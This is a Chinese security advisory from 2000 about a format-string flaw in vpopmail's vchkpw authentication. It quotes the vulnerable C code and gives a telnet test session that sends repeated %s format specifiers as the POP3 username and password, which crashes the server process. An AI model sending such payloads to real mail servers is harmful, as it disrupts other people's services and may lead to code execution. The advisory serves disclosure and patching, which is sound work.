vpopmail 用户输入格式化串存在安全漏洞
发布日期:2000-07-06
更新日期:2000-07-06
受影响系统:
inter7 vpopmail (vchkpw) 4.7
Inter7 vpopmail (vchkpw) 4.5
不受影响系统:
inter7 vpopmail (vchkpw) 4.8
描述:
Inter7的vpopmail是一个常用的POP3 server,经常与qmail软件包配合使用。其4.8版以前
的版本中用来进行身份认证的部分:vchkpw存在一个安全问题,由于错误地将用户输入的数
据当成了vsprintf()函数的格式化串,可能导致堆栈中的内容被覆盖,并可能远程执行任意
代码。
有问题的代码在vchkpw.c中:
<----[ log_exit() in vchkpw.c ]---->
<---------------------------------->
void log_exit( int syslog_level, int exit_code, char *fmt, ... )
{
char tmpbuf[300];
va_list ap;
if ( ENABLE_LOGGING > 0 ) {
va_start(ap,fmt);
vsprintf(tmpbuf, fmt, ap );
syslog(syslog_level, tmpbuf );//这里是有问题的部分
}
#ifdef DEBUG
vfprintf(stderr, fmt, ap);
fprintf(stderr, "\n");
#endif
if ( ENABLE_LOGGING > 0 ) {
va_end(ap);
}
exit(exit_code);
}
<---------------------------------->
<* 来源: H D Moore <hdm@SECUREAUSTIN.COM> *>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
hdm@atrophy:~ > telnet mail.myhost.com 110
Trying A.B.C.D...
Connected to mail.myhost.com.
Escape character is '^]'.
+OK <2334.961909661@mail.myhost.com>
user %s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s
+OK
pass %s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s
-ERR aack, child crashed
Connection closed by foreign host.
hdm@atrophy:~ >
建议:
升级到vpopmail 4.8,地址是:
http://www.inter7.com/vpopmail/
浏览次数:5900
严重程度:0(网友投票)